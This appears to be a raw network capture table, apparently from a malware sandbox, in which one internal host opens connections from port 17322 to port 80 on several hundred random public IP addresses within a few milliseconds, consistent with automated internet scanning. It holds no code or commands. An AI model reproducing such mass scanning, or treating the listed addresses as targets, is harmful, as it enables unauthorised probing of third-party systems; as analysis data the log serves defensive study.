Mar 21, 2024 05:21:09.759828091 CET	17322	80	192.168.2.14	169.191.201.59
Mar 21, 2024 05:21:09.759829044 CET	17322	80	192.168.2.14	86.175.163.100
Mar 21, 2024 05:21:09.759841919 CET	17322	80	192.168.2.14	200.9.228.172
Mar 21, 2024 05:21:09.759881020 CET	17322	80	192.168.2.14	80.20.221.4
Mar 21, 2024 05:21:09.759892941 CET	17322	80	192.168.2.14	213.248.18.136
Mar 21, 2024 05:21:09.759895086 CET	17322	80	192.168.2.14	83.55.239.43
Mar 21, 2024 05:21:09.759898901 CET	17322	80	192.168.2.14	181.50.44.205
Mar 21, 2024 05:21:09.759900093 CET	17322	80	192.168.2.14	200.136.77.172
Mar 21, 2024 05:21:09.759907961 CET	17322	80	192.168.2.14	206.5.146.162
Mar 21, 2024 05:21:09.759936094 CET	17322	80	192.168.2.14	181.162.61.211
Mar 21, 2024 05:21:09.759936094 CET	17322	80	192.168.2.14	83.13.53.25
Mar 21, 2024 05:21:09.759936094 CET	17322	80	192.168.2.14	178.14.127.216
Mar 21, 2024 05:21:09.759953976 CET	17322	80	192.168.2.14	83.170.101.72
Mar 21, 2024 05:21:09.759962082 CET	17322	80	192.168.2.14	200.217.212.56
Mar 21, 2024 05:21:09.759973049 CET	17322	80	192.168.2.14	181.110.62.15
Mar 21, 2024 05:21:09.759974003 CET	17322	80	192.168.2.14	200.100.164.212
Mar 21, 2024 05:21:09.759974003 CET	17322	80	192.168.2.14	80.21.187.137
Mar 21, 2024 05:21:09.759974957 CET	17322	80	192.168.2.14	213.131.243.127
Mar 21, 2024 05:21:09.759974957 CET	17322	80	192.168.2.14	200.165.199.113
Mar 21, 2024 05:21:09.759977102 CET	17322	80	192.168.2.14	213.107.18.150
Mar 21, 2024 05:21:09.759977102 CET	17322	80	192.168.2.14	83.157.181.231
Mar 21, 2024 05:21:09.759977102 CET	17322	80	192.168.2.14	206.228.127.8
Mar 21, 2024 05:21:09.759979963 CET	17322	80	192.168.2.14	83.31.58.57
Mar 21, 2024 05:21:09.759979963 CET	17322	80	192.168.2.14	86.203.249.65
Mar 21, 2024 05:21:09.759979963 CET	17322	80	192.168.2.14	213.64.234.102
Mar 21, 2024 05:21:09.759984016 CET	17322	80	192.168.2.14	213.34.52.135
Mar 21, 2024 05:21:09.759984016 CET	17322	80	192.168.2.14	169.241.197.217
Mar 21, 2024 05:21:09.759996891 CET	17322	80	192.168.2.14	213.192.170.173
Mar 21, 2024 05:21:09.759996891 CET	17322	80	192.168.2.14	181.92.210.242
Mar 21, 2024 05:21:09.759996891 CET	17322	80	192.168.2.14	82.48.201.46
Mar 21, 2024 05:21:09.760010004 CET	17322	80	192.168.2.14	82.101.177.14
Mar 21, 2024 05:21:09.760010004 CET	17322	80	192.168.2.14	169.30.95.226
Mar 21, 2024 05:21:09.760010004 CET	17322	80	192.168.2.14	178.57.228.206
Mar 21, 2024 05:21:09.760010958 CET	17322	80	192.168.2.14	178.233.138.18
Mar 21, 2024 05:21:09.760013103 CET	17322	80	192.168.2.14	82.111.49.63
Mar 21, 2024 05:21:09.760013103 CET	17322	80	192.168.2.14	213.112.191.133
Mar 21, 2024 05:21:09.760013103 CET	17322	80	192.168.2.14	213.227.152.200
Mar 21, 2024 05:21:09.760025978 CET	17322	80	192.168.2.14	80.116.232.40
Mar 21, 2024 05:21:09.760025978 CET	17322	80	192.168.2.14	206.200.160.140
Mar 21, 2024 05:21:09.760026932 CET	17322	80	192.168.2.14	86.138.185.36
Mar 21, 2024 05:21:09.760026932 CET	17322	80	192.168.2.14	206.231.127.86
Mar 21, 2024 05:21:09.760030031 CET	17322	80	192.168.2.14	82.23.166.166
Mar 21, 2024 05:21:09.760030031 CET	17322	80	192.168.2.14	86.51.201.101
Mar 21, 2024 05:21:09.760030031 CET	17322	80	192.168.2.14	169.145.148.138
Mar 21, 2024 05:21:09.760030031 CET	17322	80	192.168.2.14	200.204.38.229
Mar 21, 2024 05:21:09.760030031 CET	17322	80	192.168.2.14	213.200.83.34
Mar 21, 2024 05:21:09.760030031 CET	17322	80	192.168.2.14	181.201.213.68
Mar 21, 2024 05:21:09.760052919 CET	17322	80	192.168.2.14	200.224.190.75
Mar 21, 2024 05:21:09.760077000 CET	17322	80	192.168.2.14	82.157.181.230
Mar 21, 2024 05:21:09.760086060 CET	17322	80	192.168.2.14	181.22.35.248
Mar 21, 2024 05:21:09.760088921 CET	17322	80	192.168.2.14	200.220.145.221
Mar 21, 2024 05:21:09.760090113 CET	17322	80	192.168.2.14	83.130.73.177
Mar 21, 2024 05:21:09.760091066 CET	17322	80	192.168.2.14	86.79.175.35
Mar 21, 2024 05:21:09.760091066 CET	17322	80	192.168.2.14	200.43.3.157
Mar 21, 2024 05:21:09.760093927 CET	17322	80	192.168.2.14	83.160.144.226
Mar 21, 2024 05:21:09.760093927 CET	17322	80	192.168.2.14	86.167.102.3
Mar 21, 2024 05:21:09.760094881 CET	17322	80	192.168.2.14	181.55.245.88
Mar 21, 2024 05:21:09.760094881 CET	17322	80	192.168.2.14	86.15.122.114
Mar 21, 2024 05:21:09.760102034 CET	17322	80	192.168.2.14	80.3.7.51
Mar 21, 2024 05:21:09.760102034 CET	17322	80	192.168.2.14	169.228.189.243
Mar 21, 2024 05:21:09.760102034 CET	17322	80	192.168.2.14	213.221.213.171
Mar 21, 2024 05:21:09.760102987 CET	17322	80	192.168.2.14	80.132.232.159
Mar 21, 2024 05:21:09.760102987 CET	17322	80	192.168.2.14	206.40.193.228
Mar 21, 2024 05:21:09.760102987 CET	17322	80	192.168.2.14	206.11.220.218
Mar 21, 2024 05:21:09.760104895 CET	17322	80	192.168.2.14	169.129.169.15
Mar 21, 2024 05:21:09.760104895 CET	17322	80	192.168.2.14	80.74.5.104
Mar 21, 2024 05:21:09.760144949 CET	17322	80	192.168.2.14	206.217.115.132
Mar 21, 2024 05:21:09.760746956 CET	17322	80	192.168.2.14	181.45.243.171
Mar 21, 2024 05:21:09.760756016 CET	17322	80	192.168.2.14	181.98.210.248
Mar 21, 2024 05:21:09.760767937 CET	17322	80	192.168.2.14	80.72.18.81
Mar 21, 2024 05:21:09.760768890 CET	17322	80	192.168.2.14	80.177.202.137
Mar 21, 2024 05:21:09.760776997 CET	17322	80	192.168.2.14	83.118.253.152
Mar 21, 2024 05:21:09.760795116 CET	17322	80	192.168.2.14	206.151.216.218
Mar 21, 2024 05:21:09.760804892 CET	17322	80	192.168.2.14	181.108.158.226
Mar 21, 2024 05:21:09.760806084 CET	17322	80	192.168.2.14	181.186.230.42
Mar 21, 2024 05:21:09.760812998 CET	17322	80	192.168.2.14	200.157.142.176
Mar 21, 2024 05:21:09.760822058 CET	17322	80	192.168.2.14	181.47.77.228
Mar 21, 2024 05:21:09.760822058 CET	17322	80	192.168.2.14	178.126.23.187
Mar 21, 2024 05:21:09.760843992 CET	17322	80	192.168.2.14	200.175.30.118
Mar 21, 2024 05:21:09.760890961 CET	17322	80	192.168.2.14	83.208.65.186
Mar 21, 2024 05:21:09.760910034 CET	17322	80	192.168.2.14	82.78.21.157
Mar 21, 2024 05:21:09.760910034 CET	17322	80	192.168.2.14	213.116.27.48
Mar 21, 2024 05:21:09.760910034 CET	17322	80	192.168.2.14	206.201.202.31
Mar 21, 2024 05:21:09.760910988 CET	17322	80	192.168.2.14	178.200.131.209
Mar 21, 2024 05:21:09.760911942 CET	17322	80	192.168.2.14	200.36.208.212
Mar 21, 2024 05:21:09.760911942 CET	17322	80	192.168.2.14	83.23.22.111
Mar 21, 2024 05:21:09.760917902 CET	17322	80	192.168.2.14	80.122.238.155
Mar 21, 2024 05:21:09.760917902 CET	17322	80	192.168.2.14	206.69.229.30
Mar 21, 2024 05:21:09.760926008 CET	17322	80	192.168.2.14	200.102.77.220
Mar 21, 2024 05:21:09.760926008 CET	17322	80	192.168.2.14	80.67.227.54
Mar 21, 2024 05:21:09.760927916 CET	17322	80	192.168.2.14	80.140.95.59
Mar 21, 2024 05:21:09.760927916 CET	17322	80	192.168.2.14	206.141.108.241
Mar 21, 2024 05:21:09.760927916 CET	17322	80	192.168.2.14	82.69.230.233
Mar 21, 2024 05:21:09.760929108 CET	17322	80	192.168.2.14	178.134.146.212
Mar 21, 2024 05:21:09.760927916 CET	17322	80	192.168.2.14	169.69.25.103
Mar 21, 2024 05:21:09.760927916 CET	17322	80	192.168.2.14	213.86.85.238
Mar 21, 2024 05:21:09.760931015 CET	17322	80	192.168.2.14	200.139.220.113
Mar 21, 2024 05:21:09.760931015 CET	17322	80	192.168.2.14	86.104.129.230
Mar 21, 2024 05:21:09.760931015 CET	17322	80	192.168.2.14	206.204.215.188
Mar 21, 2024 05:21:09.760932922 CET	17322	80	192.168.2.14	83.11.38.186
Mar 21, 2024 05:21:09.760937929 CET	17322	80	192.168.2.14	82.203.34.97
Mar 21, 2024 05:21:09.760938883 CET	17322	80	192.168.2.14	213.187.169.65
Mar 21, 2024 05:21:09.760941029 CET	17322	80	192.168.2.14	213.10.104.151
Mar 21, 2024 05:21:09.760941029 CET	17322	80	192.168.2.14	213.79.46.210
Mar 21, 2024 05:21:09.760941029 CET	17322	80	192.168.2.14	80.156.225.151
Mar 21, 2024 05:21:09.760942936 CET	17322	80	192.168.2.14	83.101.127.112
Mar 21, 2024 05:21:09.760942936 CET	17322	80	192.168.2.14	178.48.20.112
Mar 21, 2024 05:21:09.760942936 CET	17322	80	192.168.2.14	206.74.207.241
Mar 21, 2024 05:21:09.760942936 CET	17322	80	192.168.2.14	169.181.206.202
Mar 21, 2024 05:21:09.760942936 CET	17322	80	192.168.2.14	82.10.64.165
Mar 21, 2024 05:21:09.760950089 CET	17322	80	192.168.2.14	200.0.204.11
Mar 21, 2024 05:21:09.760951996 CET	17322	80	192.168.2.14	213.169.90.171
Mar 21, 2024 05:21:09.760951996 CET	17322	80	192.168.2.14	178.223.251.146
Mar 21, 2024 05:21:09.760951996 CET	17322	80	192.168.2.14	83.121.228.185
Mar 21, 2024 05:21:09.760958910 CET	17322	80	192.168.2.14	181.165.159.112
Mar 21, 2024 05:21:09.760958910 CET	17322	80	192.168.2.14	181.70.40.97
Mar 21, 2024 05:21:09.760966063 CET	17322	80	192.168.2.14	206.116.50.217
Mar 21, 2024 05:21:09.760977030 CET	17322	80	192.168.2.14	86.148.157.133
Mar 21, 2024 05:21:09.760987043 CET	17322	80	192.168.2.14	200.35.188.139
Mar 21, 2024 05:21:09.760991096 CET	17322	80	192.168.2.14	80.139.2.192
Mar 21, 2024 05:21:09.760991096 CET	17322	80	192.168.2.14	80.22.16.22
Mar 21, 2024 05:21:09.760993958 CET	17322	80	192.168.2.14	178.192.75.206
Mar 21, 2024 05:21:09.760993958 CET	17322	80	192.168.2.14	169.185.81.13
Mar 21, 2024 05:21:09.760993958 CET	17322	80	192.168.2.14	181.74.13.96
Mar 21, 2024 05:21:09.761003971 CET	17322	80	192.168.2.14	82.119.88.69
Mar 21, 2024 05:21:09.761022091 CET	17322	80	192.168.2.14	213.74.98.216
Mar 21, 2024 05:21:09.761024952 CET	17322	80	192.168.2.14	181.191.209.123
Mar 21, 2024 05:21:09.761025906 CET	17322	80	192.168.2.14	80.244.176.124
Mar 21, 2024 05:21:09.761030912 CET	17322	80	192.168.2.14	82.173.40.199
Mar 21, 2024 05:21:09.761030912 CET	17322	80	192.168.2.14	82.4.193.13
Mar 21, 2024 05:21:09.761032104 CET	17322	80	192.168.2.14	169.78.170.162
Mar 21, 2024 05:21:09.761032104 CET	17322	80	192.168.2.14	83.4.229.230
Mar 21, 2024 05:21:09.761037111 CET	17322	80	192.168.2.14	82.74.181.199
Mar 21, 2024 05:21:09.761046886 CET	17322	80	192.168.2.14	83.176.95.222
Mar 21, 2024 05:21:09.761046886 CET	17322	80	192.168.2.14	206.192.161.253
Mar 21, 2024 05:21:09.761049986 CET	17322	80	192.168.2.14	181.215.236.71
Mar 21, 2024 05:21:09.761604071 CET	17322	80	192.168.2.14	83.124.38.120
Mar 21, 2024 05:21:09.761619091 CET	17322	80	192.168.2.14	178.67.67.141
Mar 21, 2024 05:21:09.761620045 CET	17322	80	192.168.2.14	82.186.52.198
Mar 21, 2024 05:21:09.761629105 CET	17322	80	192.168.2.14	178.38.138.160
Mar 21, 2024 05:21:09.761631966 CET	17322	80	192.168.2.14	82.232.79.3
Mar 21, 2024 05:21:09.761631966 CET	17322	80	192.168.2.14	80.130.34.230
Mar 21, 2024 05:21:09.761635065 CET	17322	80	192.168.2.14	82.232.203.94
Mar 21, 2024 05:21:09.761661053 CET	17322	80	192.168.2.14	206.146.203.137
Mar 21, 2024 05:21:09.761663914 CET	17322	80	192.168.2.14	213.2.43.246
Mar 21, 2024 05:21:09.761671066 CET	17322	80	192.168.2.14	213.247.140.38
Mar 21, 2024 05:21:09.761672020 CET	17322	80	192.168.2.14	178.192.219.124
Mar 21, 2024 05:21:09.761672974 CET	17322	80	192.168.2.14	200.149.227.10
Mar 21, 2024 05:21:09.761672974 CET	17322	80	192.168.2.14	169.21.202.127
Mar 21, 2024 05:21:09.761673927 CET	17322	80	192.168.2.14	178.215.165.19
Mar 21, 2024 05:21:09.761673927 CET	17322	80	192.168.2.14	200.219.151.41
Mar 21, 2024 05:21:09.761682987 CET	17322	80	192.168.2.14	82.110.10.85
Mar 21, 2024 05:21:09.761722088 CET	17322	80	192.168.2.14	82.94.16.153
Mar 21, 2024 05:21:09.761744022 CET	17322	80	192.168.2.14	206.230.138.59
Mar 21, 2024 05:21:09.761744976 CET	17322	80	192.168.2.14	178.6.231.217
Mar 21, 2024 05:21:09.761764050 CET	17322	80	192.168.2.14	178.57.19.48
Mar 21, 2024 05:21:09.761764050 CET	17322	80	192.168.2.14	206.70.94.135
Mar 21, 2024 05:21:09.761764050 CET	17322	80	192.168.2.14	83.219.222.203
Mar 21, 2024 05:21:09.761768103 CET	17322	80	192.168.2.14	181.234.86.235
Mar 21, 2024 05:21:09.761768103 CET	17322	80	192.168.2.14	82.138.140.217
Mar 21, 2024 05:21:09.761769056 CET	17322	80	192.168.2.14	200.9.110.145
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	82.75.215.213
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	169.246.224.219
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	213.184.165.246
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	86.228.196.38
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	82.208.128.217
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	200.195.85.104
Mar 21, 2024 05:21:09.761771917 CET	17322	80	192.168.2.14	86.66.222.50
Mar 21, 2024 05:21:09.761770964 CET	17322	80	192.168.2.14	178.226.134.217
Mar 21, 2024 05:21:09.761775970 CET	17322	80	192.168.2.14	213.238.160.122
Mar 21, 2024 05:21:09.761771917 CET	17322	80	192.168.2.14	80.105.80.234
Mar 21, 2024 05:21:09.761775970 CET	17322	80	192.168.2.14	206.108.134.249
Mar 21, 2024 05:21:09.761775970 CET	17322	80	192.168.2.14	82.245.109.48
Mar 21, 2024 05:21:09.761787891 CET	17322	80	192.168.2.14	169.188.115.158
Mar 21, 2024 05:21:09.761787891 CET	17322	80	192.168.2.14	83.208.15.228
Mar 21, 2024 05:21:09.761790037 CET	17322	80	192.168.2.14	213.194.120.133
Mar 21, 2024 05:21:09.761790037 CET	17322	80	192.168.2.14	213.248.21.139
Mar 21, 2024 05:21:09.761790037 CET	17322	80	192.168.2.14	82.31.64.56
Mar 21, 2024 05:21:09.761790037 CET	17322	80	192.168.2.14	86.65.146.235
Mar 21, 2024 05:21:09.761790991 CET	17322	80	192.168.2.14	206.249.80.192
Mar 21, 2024 05:21:09.761792898 CET	17322	80	192.168.2.14	86.190.104.227
Mar 21, 2024 05:21:09.761799097 CET	17322	80	192.168.2.14	181.218.187.28
Mar 21, 2024 05:21:09.761800051 CET	17322	80	192.168.2.14	83.228.229.139
Mar 21, 2024 05:21:09.761799097 CET	17322	80	192.168.2.14	181.17.50.187
Mar 21, 2024 05:21:09.761799097 CET	17322	80	192.168.2.14	200.207.104.211
Mar 21, 2024 05:21:09.761799097 CET	17322	80	192.168.2.14	169.195.200.158
Mar 21, 2024 05:21:09.761800051 CET	17322	80	192.168.2.14	83.231.27.153
Mar 21, 2024 05:21:09.761800051 CET	17322	80	192.168.2.14	206.245.129.0
Mar 21, 2024 05:21:09.761809111 CET	17322	80	192.168.2.14	169.76.62.34
Mar 21, 2024 05:21:09.761809111 CET	17322	80	192.168.2.14	80.214.40.229
Mar 21, 2024 05:21:09.761811972 CET	17322	80	192.168.2.14	86.175.200.203
Mar 21, 2024 05:21:09.761811972 CET	17322	80	192.168.2.14	213.24.77.151
Mar 21, 2024 05:21:09.761811972 CET	17322	80	192.168.2.14	181.46.242.143
Mar 21, 2024 05:21:09.761816025 CET	17322	80	192.168.2.14	169.72.17.61
Mar 21, 2024 05:21:09.761816978 CET	17322	80	192.168.2.14	80.225.6.166
Mar 21, 2024 05:21:09.761816978 CET	17322	80	192.168.2.14	169.20.191.53
Mar 21, 2024 05:21:09.761837006 CET	17322	80	192.168.2.14	178.205.101.204
Mar 21, 2024 05:21:09.761837006 CET	17322	80	192.168.2.14	80.211.91.247
Mar 21, 2024 05:21:09.761847019 CET	17322	80	192.168.2.14	82.5.190.131
Mar 21, 2024 05:21:09.761847019 CET	17322	80	192.168.2.14	169.64.112.61
Mar 21, 2024 05:21:09.761847973 CET	17322	80	192.168.2.14	83.121.83.215
Mar 21, 2024 05:21:09.761847973 CET	17322	80	192.168.2.14	82.233.179.39
Mar 21, 2024 05:21:09.761898994 CET	17322	80	192.168.2.14	200.233.2.173
Mar 21, 2024 05:21:09.761900902 CET	17322	80	192.168.2.14	83.84.238.26
Mar 21, 2024 05:21:09.761900902 CET	17322	80	192.168.2.14	200.69.35.163
Mar 21, 2024 05:21:09.761908054 CET	17322	80	192.168.2.14	200.141.65.252
Mar 21, 2024 05:21:09.761908054 CET	17322	80	192.168.2.14	86.221.169.142
Mar 21, 2024 05:21:09.761918068 CET	17322	80	192.168.2.14	200.29.170.133
Mar 21, 2024 05:21:09.761919022 CET	17322	80	192.168.2.14	80.233.215.2
Mar 21, 2024 05:21:09.761920929 CET	17322	80	192.168.2.14	206.157.68.168
Mar 21, 2024 05:21:09.761920929 CET	17322	80	192.168.2.14	178.161.97.88
Mar 21, 2024 05:21:09.761924028 CET	17322	80	192.168.2.14	86.52.91.4
Mar 21, 2024 05:21:09.761924028 CET	17322	80	192.168.2.14	200.42.231.158
Mar 21, 2024 05:21:09.761924028 CET	17322	80	192.168.2.14	206.18.58.84
Mar 21, 2024 05:21:09.761924028 CET	17322	80	192.168.2.14	206.169.62.131
Mar 21, 2024 05:21:09.761924028 CET	17322	80	192.168.2.14	213.222.226.101
Mar 21, 2024 05:21:09.761925936 CET	17322	80	192.168.2.14	169.16.188.152
Mar 21, 2024 05:21:09.761925936 CET	17322	80	192.168.2.14	213.88.241.195
Mar 21, 2024 05:21:09.761934996 CET	17322	80	192.168.2.14	178.158.79.48
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	82.202.76.40
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	169.7.36.74
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	86.54.57.223
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	178.34.114.150
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	80.188.154.48
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	178.205.36.148
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	178.169.153.71
Mar 21, 2024 05:21:09.761938095 CET	17322	80	192.168.2.14	206.33.7.71
Mar 21, 2024 05:21:09.761944056 CET	17322	80	192.168.2.14	80.127.17.125
Mar 21, 2024 05:21:09.761944056 CET	17322	80	192.168.2.14	169.230.132.172
Mar 21, 2024 05:21:09.761946917 CET	17322	80	192.168.2.14	169.189.73.185
Mar 21, 2024 05:21:09.761949062 CET	17322	80	192.168.2.14	206.107.122.175
Mar 21, 2024 05:21:09.761949062 CET	17322	80	192.168.2.14	82.202.170.183
Mar 21, 2024 05:21:09.761949062 CET	17322	80	192.168.2.14	80.89.136.6
Mar 21, 2024 05:21:09.761949062 CET	17322	80	192.168.2.14	169.230.197.51
Mar 21, 2024 05:21:09.761950970 CET	17322	80	192.168.2.14	82.196.194.219
Mar 21, 2024 05:21:09.761951923 CET	17322	80	192.168.2.14	213.87.113.240
Mar 21, 2024 05:21:09.761951923 CET	17322	80	192.168.2.14	86.132.164.231
Mar 21, 2024 05:21:09.761969090 CET	17322	80	192.168.2.14	213.246.36.82
Mar 21, 2024 05:21:09.761969090 CET	17322	80	192.168.2.14	181.241.213.216
Mar 21, 2024 05:21:09.761969090 CET	17322	80	192.168.2.14	169.5.154.149
Mar 21, 2024 05:21:09.761969090 CET	17322	80	192.168.2.14	200.3.16.201
Mar 21, 2024 05:21:09.761969090 CET	17322	80	192.168.2.14	83.242.23.217
Mar 21, 2024 05:21:09.761991024 CET	17322	80	192.168.2.14	169.212.194.206
Mar 21, 2024 05:21:09.761991978 CET	17322	80	192.168.2.14	200.19.219.163
Mar 21, 2024 05:21:09.761991978 CET	17322	80	192.168.2.14	213.187.148.151
Mar 21, 2024 05:21:09.762007952 CET	17322	80	192.168.2.14	213.200.48.28
Mar 21, 2024 05:21:09.762007952 CET	17322	80	192.168.2.14	200.110.16.41
Mar 21, 2024 05:21:09.762008905 CET	17322	80	192.168.2.14	83.252.27.83
Mar 21, 2024 05:21:09.762008905 CET	17322	80	192.168.2.14	200.85.232.212
Mar 21, 2024 05:21:09.762011051 CET	17322	80	192.168.2.14	206.162.229.245
Mar 21, 2024 05:21:09.762011051 CET	17322	80	192.168.2.14	200.81.83.126
Mar 21, 2024 05:21:09.762032032 CET	17322	80	192.168.2.14	181.92.64.236
Mar 21, 2024 05:21:09.762033939 CET	17322	80	192.168.2.14	86.56.191.181
Mar 21, 2024 05:21:09.762033939 CET	17322	80	192.168.2.14	86.32.45.240
Mar 21, 2024 05:21:09.762033939 CET	17322	80	192.168.2.14	206.91.147.41
Mar 21, 2024 05:21:09.762033939 CET	17322	80	192.168.2.14	86.43.47.142
Mar 21, 2024 05:21:09.762033939 CET	17322	80	192.168.2.14	206.207.123.5
Mar 21, 2024 05:21:09.762048960 CET	17322	80	192.168.2.14	82.171.153.193
Mar 21, 2024 05:21:09.762048960 CET	17322	80	192.168.2.14	181.35.58.117
Mar 21, 2024 05:21:09.762049913 CET	17322	80	192.168.2.14	86.10.16.106
Mar 21, 2024 05:21:09.762049913 CET	17322	80	192.168.2.14	178.158.48.32
Mar 21, 2024 05:21:09.762052059 CET	17322	80	192.168.2.14	200.86.235.165
Mar 21, 2024 05:21:09.762053967 CET	17322	80	192.168.2.14	181.40.162.109
Mar 21, 2024 05:21:09.762053967 CET	17322	80	192.168.2.14	200.155.57.140
Mar 21, 2024 05:21:09.762053967 CET	17322	80	192.168.2.14	169.240.155.220
Mar 21, 2024 05:21:09.762053967 CET	17322	80	192.168.2.14	80.30.38.141
Mar 21, 2024 05:21:09.762053967 CET	17322	80	192.168.2.14	80.39.243.166
Mar 21, 2024 05:21:09.762059927 CET	17322	80	192.168.2.14	82.124.41.207
Mar 21, 2024 05:21:09.762059927 CET	17322	80	192.168.2.14	213.141.84.214
Mar 21, 2024 05:21:09.762067080 CET	17322	80	192.168.2.14	80.218.140.129
Mar 21, 2024 05:21:09.762067080 CET	17322	80	192.168.2.14	206.173.225.61
Mar 21, 2024 05:21:09.762067080 CET	17322	80	192.168.2.14	83.125.223.187
Mar 21, 2024 05:21:09.762068033 CET	17322	80	192.168.2.14	206.229.202.196
Mar 21, 2024 05:21:09.762068987 CET	17322	80	192.168.2.14	83.159.117.65
Mar 21, 2024 05:21:09.762068987 CET	17322	80	192.168.2.14	213.249.99.127
Mar 21, 2024 05:21:09.762068987 CET	17322	80	192.168.2.14	206.225.63.166
Mar 21, 2024 05:21:09.762068987 CET	17322	80	192.168.2.14	169.90.251.65
Mar 21, 2024 05:21:09.762070894 CET	17322	80	192.168.2.14	86.134.194.179
Mar 21, 2024 05:21:09.762070894 CET	17322	80	192.168.2.14	206.254.216.49
Mar 21, 2024 05:21:09.762070894 CET	17322	80	192.168.2.14	169.225.12.242
Mar 21, 2024 05:21:09.762087107 CET	17322	80	192.168.2.14	83.37.105.236
Mar 21, 2024 05:21:09.762089968 CET	17322	80	192.168.2.14	181.64.176.4
Mar 21, 2024 05:21:09.762089968 CET	17322	80	192.168.2.14	86.171.221.88
Mar 21, 2024 05:21:09.762092113 CET	17322	80	192.168.2.14	178.48.134.250
Mar 21, 2024 05:21:09.762093067 CET	17322	80	192.168.2.14	86.0.81.156
Mar 21, 2024 05:21:09.762093067 CET	17322	80	192.168.2.14	169.54.232.193
Mar 21, 2024 05:21:09.762093067 CET	17322	80	192.168.2.14	86.141.60.243
Mar 21, 2024 05:21:09.762093067 CET	17322	80	192.168.2.14	86.101.202.178
Mar 21, 2024 05:21:09.762098074 CET	17322	80	192.168.2.14	169.7.123.182
Mar 21, 2024 05:21:09.762098074 CET	17322	80	192.168.2.14	80.35.11.40
Mar 21, 2024 05:21:09.762098074 CET	17322	80	192.168.2.14	169.134.124.204
Mar 21, 2024 05:21:09.762099981 CET	17322	80	192.168.2.14	82.37.236.35
Mar 21, 2024 05:21:09.762099981 CET	17322	80	192.168.2.14	213.182.107.107
Mar 21, 2024 05:21:09.762100935 CET	17322	80	192.168.2.14	86.23.45.96
Mar 21, 2024 05:21:09.762100935 CET	17322	80	192.168.2.14	181.117.99.62
Mar 21, 2024 05:21:09.762100935 CET	17322	80	192.168.2.14	82.117.38.99
Mar 21, 2024 05:21:09.762100935 CET	17322	80	192.168.2.14	213.123.85.31
Mar 21, 2024 05:21:09.762100935 CET	17322	80	192.168.2.14	83.204.52.206
Mar 21, 2024 05:21:09.762111902 CET	17322	80	192.168.2.14	80.88.179.252
Mar 21, 2024 05:21:09.762111902 CET	17322	80	192.168.2.14	200.138.48.2
Mar 21, 2024 05:21:09.762111902 CET	17322	80	192.168.2.14	82.115.235.59
Mar 21, 2024 05:21:09.762130976 CET	17322	80	192.168.2.14	82.165.75.168
Mar 21, 2024 05:21:09.762131929 CET	17322	80	192.168.2.14	206.103.62.91
Mar 21, 2024 05:21:09.762146950 CET	17322	80	192.168.2.14	80.88.232.72
Mar 21, 2024 05:21:09.762147903 CET	17322	80	192.168.2.14	169.234.67.7
Mar 21, 2024 05:21:09.762151003 CET	17322	80	192.168.2.14	83.185.253.62
Mar 21, 2024 05:21:09.762151003 CET	17322	80	192.168.2.14	206.58.70.52
Mar 21, 2024 05:21:09.762151003 CET	17322	80	192.168.2.14	169.24.35.166
Mar 21, 2024 05:21:09.762151003 CET	17322	80	192.168.2.14	83.9.235.102
Mar 21, 2024 05:21:09.762156010 CET	17322	80	192.168.2.14	169.220.220.231
Mar 21, 2024 05:21:09.762157917 CET	17322	80	192.168.2.14	206.63.175.178
Mar 21, 2024 05:21:09.762157917 CET	17322	80	192.168.2.14	213.48.34.112
Mar 21, 2024 05:21:09.762165070 CET	17322	80	192.168.2.14	169.197.183.7
Mar 21, 2024 05:21:09.762165070 CET	17322	80	192.168.2.14	206.43.96.4
Mar 21, 2024 05:21:09.762197971 CET	17322	80	192.168.2.14	213.34.136.10
Mar 21, 2024 05:21:09.762197971 CET	17322	80	192.168.2.14	178.76.14.78
Mar 21, 2024 05:21:09.762201071 CET	17322	80	192.168.2.14	86.224.34.76
Mar 21, 2024 05:21:09.762206078 CET	17322	80	192.168.2.14	169.178.139.21
Mar 21, 2024 05:21:09.762206078 CET	17322	80	192.168.2.14	213.3.154.63
Mar 21, 2024 05:21:09.762206078 CET	17322	80	192.168.2.14	80.52.123.202
Mar 21, 2024 05:21:09.762208939 CET	17322	80	192.168.2.14	86.191.8.196
Mar 21, 2024 05:21:09.762208939 CET	17322	80	192.168.2.14	200.52.189.205
Mar 21, 2024 05:21:09.762208939 CET	17322	80	192.168.2.14	181.123.246.146
Mar 21, 2024 05:21:09.762211084 CET	17322	80	192.168.2.14	86.244.3.58
Mar 21, 2024 05:21:09.762211084 CET	17322	80	192.168.2.14	206.4.97.102
Mar 21, 2024 05:21:09.762212992 CET	17322	80	192.168.2.14	200.172.233.132
Mar 21, 2024 05:21:09.762212992 CET	17322	80	192.168.2.14	178.218.245.11
Mar 21, 2024 05:21:09.762226105 CET	17322	80	192.168.2.14	213.19.224.201
Mar 21, 2024 05:21:09.762226105 CET	17322	80	192.168.2.14	178.94.232.116
Mar 21, 2024 05:21:09.762233019 CET	17322	80	192.168.2.14	82.79.4.83
Mar 21, 2024 05:21:09.762233973 CET	17322	80	192.168.2.14	83.108.33.189
Mar 21, 2024 05:21:09.762233973 CET	17322	80	192.168.2.14	200.81.77.30
Mar 21, 2024 05:21:09.762234926 CET	17322	80	192.168.2.14	213.167.71.58
Mar 21, 2024 05:21:09.762236118 CET	17322	80	192.168.2.14	206.45.59.27
Mar 21, 2024 05:21:09.762233973 CET	17322	80	192.168.2.14	200.173.137.113
Mar 21, 2024 05:21:09.762233019 CET	17322	80	192.168.2.14	82.45.118.183
Mar 21, 2024 05:21:09.762238026 CET	17322	80	192.168.2.14	213.233.253.204
Mar 21, 2024 05:21:09.762234926 CET	17322	80	192.168.2.14	206.154.209.29
Mar 21, 2024 05:21:09.762233973 CET	17322	80	192.168.2.14	86.164.33.22
Mar 21, 2024 05:21:09.762234926 CET	17322	80	192.168.2.14	86.153.96.37
